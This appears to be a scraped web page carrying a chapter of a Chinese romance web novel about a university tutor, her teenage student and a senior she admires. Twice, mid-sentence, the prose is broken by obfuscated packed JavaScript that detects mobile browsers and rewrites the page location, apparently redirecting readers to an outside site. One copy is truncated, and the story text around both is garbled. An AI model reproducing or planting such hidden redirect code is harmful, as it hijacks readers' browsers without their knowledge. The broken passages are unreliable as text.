沈纵也把玩着手中的糖纸,口中还含着糖棍,字句有些含混。 “挺好的。“ 三个字把邵远堵得不知道该说什么了。他静默了片刻,温缓了语气再次开口,“小也啊,我知道你肯定还怪着我和……” “邵叔。” 沈纵也打断他。 “嗯?怎么了?” 沈纵也问,“你听过陆茉这个名字吗?” “陆茉?”邵远重复了一遍,他很快道,“是不是国内远观影业董事长的千金?” 沈纵也“嗯”了声,“有什么办法能联系到她吗?” “小也,你这就问错人了。”邵远笑道,“你知不知道,陆茉就是林嘉和的表姐。” 林嘉和算是唯一认识沈纵也又保持着联系到现在的同龄人。邵远又叹了口气,“你是不是回国之后也没再联系嘉和了?小也,大家其实都很……” 沈纵也轻扬了下嘴角。 “谢了,邵叔。” 邵远噎了噎。他还没把话接完,又听到沈纵也说。 “你有时候还是挺有用的,“少年语气慢悠悠,“真是老当益壮。” 邵远反应了一秒,瞬间感觉一股气直接往脑门升,但再想说什么时,发现对面已经挂断了电话。 公交车上,少年垂着眼,点开通讯软件里红点堆满的一个头像,粗略扫了眼对方发来的信息,片刻后,打下几个字发了过去。 - 林听宁回到宿舍内,快速洗漱完后,坐在座位上编辑给周承京的信息。把要说的话简略在三行字以内后,她又快速检查了遍,最后在末尾加上,【学长有空可以和我通个电话,我再具体和你说明】。 她想这事还算挺紧急的,三言两语也交代不清沈纵也的情况,电话大概是最能节省周承京时间的方式。 但连续几天,周承京都没有回她信息。 九月末尾,又下了几场急匆匆的雨。忽冷忽热的天气,让不少人都患上感冒。 秦伊原本感冒就没好全,又因为小组作业熬了几个通宵。这天又是大雨,林听宁从图书馆回到宿舍,发现她趴在桌面,整张脸都是红的。 她摸了她的额头,烫得吓人。给她冲了退烧药,对方却也喝不下去,嘴里已经有些胡言乱语。 林听宁很快反应过来,立刻背上她到楼下打车到最近的医院。 到了急诊立刻冰敷和打退烧针,各种治疗措施都用上了。安顿秦伊后,林听宁又发现她口袋的手机一直在震动,是秦伊的母亲也知道她生病,一晚上联系不到她急得直打电话。 她又接起电话和对方说明情况,秦伊妈妈一边哽咽地感谢她,一边又和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她垂下眼,看着那一行字,脑海却无法拆解出它们具体的意思。她手有些抖地在输入框里打下几个字,最后余光看到了手机显示凌晨两点的时间,理智又回笼,慢慢地把字都回删掉。 删完以后,她缓缓地挪动指尖,向上翻动和他的聊天记录,想从他只言片语对她的关心里,找回自己的体温,可是那些文字像是忽然间变成飘渺不定的符号,一句都无法在她视线中停留。 是这时候,她的信息栏弹出一条消息。 她微怔,还没有看清楚,僵硬的指尖便先一步点开。 凌晨两点零一分,沈纵也给她发来一条信息。 沈纵也:【老师,这题怎么做?】 11.为难 林听宁点开他发来的照片,是她第一次去做家教时留的课后习题。 她低着头,目光掠过他发来的题目。是一道很基础的函数题,她大概两秒钟就算出了答案,想打给他,手却抖得没有办法控制,最后只打出了选项。 几乎是她信息发出的后一秒,沈纵也发来了回复。 他先是发来了一个问号,然后是一条语音。 没有灯光的阳台,本该照明的月亮隐匿在层叠的乌云之后。手机屏幕的蓝光映在她脸颊,她心跳不规律得身体都开始麻木。她想关上手机深呼吸,但那条语音已经在她指尖无意的触碰下开始播放。 少年有些刻意拖长的声音在昏暗中响起。 “老师,你怎么还没睡。” 老师两个字,他从第一次这样叫她起就显得不正经,没有一点尊重的意味,仿佛这两个字在他口中变成了别样的含义。 但对于此刻的林听宁来说,这段语音却像是深水之下忽然落下的光亮,将她从无法抑制的情绪中拖拽出来。 很久之后她才意识到,沈纵也这一晚给她发来的信息,某种意义上真正救了她一次。 她垂着眼,感受到呼吸慢慢平复。又控制不住地再一次点开那条语音,用这个近期才出现在她生活中的声音提醒她自己这端才是现实,她距离那段经历已经过去很久了。 麻木的感觉退散下去,再次看到阳台的地板,她才有种此刻才被拉上岸一样踩在实地上的感觉。 她扶着栏杆缓缓起身,低下头。手机上,大概是因为她没有回复,沈纵也又发来一个举着问号的小人。 她不知道他从哪里找来的这些表情,每一个的神态都让她莫名感觉有点像他。 她平复了下思绪,低头给他打字,【你不是也还没睡吗?】 沈纵也给她回复了一个顶着无语省略号的小人。 他回,【老师,你这叫倒打一耙。】 证明似的,他还发来张图片,大概是他不确定这个词的意思,还特意检索过了,结果显示倒打一耙是指自己做错了,不仅拒绝别人的指摘,反而指责对方。 林听宁看着那张图片,心想发给她干什么,又不是她在外读书多年不懂这些俗语的含义。 她压下微微心虚的感觉,给他回复,【我准备睡了,你也早些休息】 她视线看到他发来的题,继续打,【这道题挺简单的,我明天再教你怎么做吧,晚安。】 沈纵也这次没有立刻回复她。是过了几分钟的时间,他才发来一条。 沈纵也:【-.-】 林听宁没看懂,也没有再回复,关了手机走回病房继续去照顾秦伊。 第二天清早,秦伊体温彻底降下来了,但人还有些虚弱。林听宁和她确认了借无人机的小组,又给她买了粥放进保温袋挂在床边,先回到学校去完成无人机画面的拍摄。 忙到中午,她才有空看手机,先是秦伊给她发了条,【宁宁,我醒过来了,粥也喝了,谢谢你谢谢你,给你添麻烦了!】 林听宁看着那条信息,最后想到最能表达自己心情的回复,于是退回到和沈纵也的聊天界面,把那个顶着省略号的无语小人按了收藏,又给秦伊发了过去。 秦伊立马回了一个求饶的表情包。 她退出了和秦伊的聊天,也想起来昨晚自己还有一条信息没有回。是周承京的那条,她再次点开来,却依旧不知道对方指的是什么。 明明说的是沈纵也的事情,为什么到有没有和他站在一边上?她想了许久,却都不知道该怎么回复。 怕他觉得她不懂他,又怕回错他的话。 她唯一能看出来的,是他这句话背后的情绪。也是因为这个,她才更加不明白他为什么会生气,印象里,周承京从来没有和她表露出这种情绪过。 她压下内心泛起的酸涩感,低头给他回了一句,【抱歉,学长】 她回到宿舍把无人机的素材导出,又把机器归还给另一个小组。在去医院路上的时候,周承京给她打来一通电话。 “听宁?” 林听宁应了一声,周承京声音听起来有些疲倦,“抱歉,听宁,昨天晚上在参加一个活动,有点喝多了。” “那条信息,我自己都没印象了,”他顿了顿,“你就当做没看到吧。” 林听宁听着,感觉电话对面的他都有些不像自己认识的周承京了。学长喝多了?她的记忆里,周承京从来都不会这样。 她垂下眼,“学长现在在哪,感觉还好吗?” “没事了,”周承京简短地回答。他停顿了片刻,又道,“沈纵也的学校,我已经安排好了,下周一开始,他会到南中高二读书。” “高二?”林听宁皱起眉,“可是他现在连高一基础的知识都没掌握。” 她记得她第一次给沈纵也补课后就提过这件事了。她还想说什么,周承京便继续说了下去。 他语气一如往常的温和,“听宁,我希望沈纵也的事情,你不用管这么多。” “帮他补课这件事,我已经觉得很麻烦你了。”他道,“你只需要做这件事就足够了,如果沈纵也有什么让你觉得为难的地方,你就告诉我。” 林听宁说,“…他没有让我觉得为难。” 周承京静了静。他似乎笑了下,声音却丝毫没有笑意,“是吗,那挺好的。” 他又问,“中午有时间吗?我带你去吃饭。” 林听宁轻轻攥了下掌心,第一次拒绝他,“学长,我舍友生病了,我还要去医院照顾她。” 周承京语气没什么变化,“好。” 挂断电话,林听宁的思绪像乱麻拧在了一起。她最先想到的是凌晨沈纵也发来的题目,不自觉又点开来看。 这么基础的题目都还不会,把他送进高二去读,跟让文盲读世界名著有什么区别? 她又想到周承京的话,无论怎么理解,听上去都是在说不想让她再管沈纵也的事情。那么,她是不是也不要去在意这么多。 可沈纵也不是他的亲戚吗,她垂眼,也是此刻才意识到,有关他们的关系,周承京从来没明确和她说过,只是沈纵也在她面前说了一次周承京是他哥哥。 她想不出一个明确的答案。唯一可以确定的是,她又让周承京不愉快了。 地铁播报声响起,提示她已经到站了。她只得关了手机,先去医院。 秦伊已经恢复过来了,在等的期间办理完了一些手续,林听宁帮她领了药,扶着她一起再打车回S大。 等车期间,林听宁边提着大大小小的包边单手给沈纵也打那道题的解法。秦伊坐在路旁的石墩子上,仰起头,“宁宁,怎么了?眉头皱这么紧。” 她大病一场,嗓子倒是比原来好了。林听宁没有抬头,“没什么。” 她话说出口,忽然感觉自己这句话很熟悉,刚刚周承京也对她说过类似的话。 她抬眸,看见秦伊脸上一闪而过的失望。 秦伊叹了口气,“好吧,有什么事可以跟我说喔。” 林听宁静了静,她垂下眼,“是最近辅导的一个高中生,基础不太好,不知道该怎么给他补课了。” 秦伊一下来劲了,“那你问我啊,我有个读高中的弟弟,我从小就带他打架,哦不学习的。” 林听宁没忍住弯了下嘴角。她想了想,找到昨晚沈纵也给她发的那条她没看懂的回复,“那他这条信息是什么意思?” 秦伊扫了眼,“无语的表情啊!你看这是两个眼睛,这是一个嘴巴,组起来不就是一个表情。” 她眯起眼作出那副表情。林听宁看了一眼,又看向手机那三个不明标点。 ……好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007031|193995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是挺像的。 秦伊语重心长,“小林老师你也上点网吧,这是年轻人爱玩的颜文字,等下你跟你的学生都有代沟了。” 林听宁也没太把她的话放在心上,但在准备把那段解析发过去前,还是犹豫了一下。 片刻,她学着沈纵也发来的,重组了一个表情【: )】,加在了末尾,一起发送了过去。 临近傍晚,沈纵也给她回了一条。 【老师,为什么学我。】 林听宁想果然是不该加的,也就没再回复他。那天回到宿舍,秦伊和她一起把那条片子从头到尾重组了一遍。临近提交时间,她们快速把说明文档也写好。 林听宁最后整合文档,把分工写在了说明文档的最后,和作品一起发到小组群。 两个男生过了一会都回复了,一个回了大拇指另一个回了庆祝的表情。 忙完这一切,九月彻底接近尾声了。 她想了很久,最后还是主动给周承京发了一条信息,问他有没有空,她想请他吃一顿饭。 发出去时手心都是凉的。心神不宁了一下午,林听宁收到他的回复。 看到他回了【好】的时候,林听宁感觉自己像是忽然被命运眷顾了一次。 她挑场所挑了很久,最后选了一家市中心空中花园的餐厅。发给他以后她想起周承京似乎更喜欢像那家私厨一样更私密的环境,还在懊恼,对方已经同意了。 吃饭那天,林听宁感觉心跳像第一次认识他时一样快。她甚至久违地画了淡妆,穿了一件她平时完全不会穿的浅黄长裙去赴约。 …… G市中心的高塔里,餐厅的布置让人仿佛置身热带雨林。植物交错排列,将玻璃屋内的餐桌之间分隔开来,玻璃屋外,城市的风景尽收眼底。 林嘉和这天刚回国,一幅公子哥的打扮,坐在餐桌座位扫了眼周围,忍不住啧啧两声,”还是国内会玩儿,吃顿饭都布置成什么样了。“ “但是Evan,”他眯了眯眼,看向餐桌上的几道前菜,“为什么我回国了还是吃西餐?看着就想吐。” 一身黑衣的少年坐在他对面,垂着眼看手机,“爱吃吃不吃滚。” “喂!能不能对你久别重逢的老友态度好点。” 沈纵也冷冷扯了下唇角。 “不会讲中文了吗?”他抬眸,“这叫不请自来。” 林嘉和心虚地吹了声口哨。服务员又上了几道菜,他回国这一趟最大的兴趣就在吃上,便没再跟沈纵也掰扯,矜贵地用勺子沾了一点鱼子酱,放入口中品尝,下一秒便皱眉。 他兴致索然地放下勺子,擦了擦嘴,转移了话题。 “你前天问我的事,我帮你问我表姐了。你那哥哥确实一直在追人家,据说回国那天还带了一大捧玫瑰去机场等她,”他耸肩,“但我表姐那天飞机延误,直接改签去S市玩了一圈才回来。” 主菜上来了,是有结合中式的口味改良的煎牛肋条,林嘉和又起了兴致,“其他的一会再说吧。“ 沈纵也轻扯唇角,收回视线。他低头看手机,和昵称是【LTN】的人聊天界面上信息停在上一条他发的信息,她并没有回复。 对面总是这样,好像回他是一件有上限的事情,每次几句之后就开始不回复,或是一句话打成一大段发再加上一个结束性的晚安,仿佛把晚安当做句号用,也不知道耐心都给了谁。 他无趣地关了手机,抬眸。 也是这一瞬,在交错的植物间,他看到对面的一桌靠外的位置坐着的人。林听宁坐在那里,身上是一件与她平日风格截然不同的缎面长裙,几缕发丝自她盘起的发间滑落,贴着修长白皙的脖颈,模样温婉而动人。 也不知道对面说了什么,她殷红的唇角噙起一抹浅淡的笑意,像夏日荷池里雨丝落下漾起的细微涟漪。